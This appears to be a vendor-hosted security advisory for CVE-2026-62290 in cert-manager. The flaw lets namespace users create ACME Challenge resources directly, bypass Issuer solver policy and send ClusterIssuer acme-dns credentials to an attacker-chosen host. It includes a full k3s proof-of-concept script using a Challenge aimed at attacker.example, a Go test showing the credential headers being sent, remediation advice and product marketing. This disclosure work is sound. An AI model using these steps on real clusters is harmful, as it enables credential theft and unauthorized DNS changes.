Summary
cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials
Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.
When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.
Attack preconditions
- The attacker can create
challenges.acme.cert-manager.ioresources in at least one namespace. - The cert-manager controller is running and reconciles ACME
Challengeresources cluster-wide. - A usable
ClusterIssuerexists in the cluster. - The referenced
ClusterIssuerhas a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled forClusterIssuer. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.
Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for
challenges.acme.cert-manager.io
Affected versions tested
The issue was reproduced on:
mastercommit2c0f1a6a4- latest production release
v1.20.2commite5b7b1845 v1.19.5commitcda7b7896v1.18.6commit4699caabb
See VERSION_TEST_MATRIX.md for the command matrix and outputs.
Technical details
Relevant code paths:
internal/apis/acme/validation/challenge.go:44-45:ValidateChallengereturns no errors on create.deploy/crds/acme.cert-manager.io_challenges.yaml:spec.solveris a required user-controlled field onChallenge.pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.pkg/controller/acmechallenges/controller.go:180-197: scheduler setsstatus.processing=true.pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.pkg/issuer/acme/dns/dns.go:81: DNS solverPresentignores the issuer object argument.pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived fromChallenge.spec.pkg/controller/helper.go:39-44:ClusterIssuerreferences use the cluster resource namespace.pkg/controller/helper.go:66-72: ambient credentials are allowed based onissuerRef.kind.internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/updatechallengesandorders.
The normal Order flow selects a solver from the Issuer:
pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.
The direct Challenge flow skips that selection entirely because the direct object already contains a solver.
Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: [email protected]
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: challenge-create-only
namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
resources: ["challenges"]
verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: bob-challenge-create-only
namespace: tenant
subjects:
- kind: ServiceAccount
name: bob
namespace: tenant
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: challenge-create-only
YAML
echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"
docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
-o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'
Expected output:
bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account
This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.
PoC B: acme-dns provider sends referenced credentials to the configured host
This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.
Run from repository root:
set -euo pipefail
cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
var gotUser, gotKey, gotPath string
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotUser = r.Header.Get("X-Api-User")
gotKey = r.Header.Get("X-Api-Key")
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`{"txt":"ok"}`))
}))
defer ts.Close()
accountJSON := []byte(`{
"victim.example.com": {
"username": "victim-user",
"password": "victim-pass",
"fulldomain": "x.example.org",
"subdomain": "x"
}
}`)
provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
if err != nil {
t.Fatal(err)
}
if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
t.Fatal(err)
}
if gotPath != "/update" {
t.Fatalf("path = %q, want /update", gotPath)
}
if gotUser != "victim-user" {
t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
}
if gotKey != "victim-pass" {
t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
}
}
EOF
docker run --rm \
-v "$PWD":/repo \
-v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
-v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
-w /repo golang:1.26-bookworm \
go test ./pkg/issuer/acme/dns/acmedns \
-run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
-count=1 -v
rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go
Expected output:
=== RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.
Credential impact scope
The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.
For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.
Expected behavior
Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.
Actual behavior
A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.
Suggested remediation
Possible mitigations:
- Reject or ignore standalone user-created
Challengeresources unless the controller or admission layer can confirm an existing cert-manager-createdOrderthat owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
- Move
ChallengeandOrdercreation permissions out of aggregateeditunless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.
Impact
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-62290 has a CVSS score of 7.3 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.19.6, 1.20.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
github.com/cert-manager/cert-manager to 1.19.6 or later; github.com/cert-manager/cert-manager to 1.20.3 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-62290? CVE-2026-62290 is a high-severity incorrect authorization vulnerability in github.com/cert-manager/cert-manager (go), affecting versions >= 1.18.0, < 1.19.6. It is fixed in 1.19.6, 1.20.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-62290? CVE-2026-62290 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/cert-manager/cert-manager are affected by CVE-2026-62290? github.com/cert-manager/cert-manager (go) versions >= 1.18.0, < 1.19.6 is affected.
- Is there a fix for CVE-2026-62290? Yes. CVE-2026-62290 is fixed in 1.19.6, 1.20.3. Upgrade to this version or later.
- Is CVE-2026-62290 exploitable, and should I be worried? Whether CVE-2026-62290 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62290 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62290?
- Upgrade
github.com/cert-manager/cert-managerto 1.19.6 or later - Upgrade
github.com/cert-manager/cert-managerto 1.20.3 or later
- Upgrade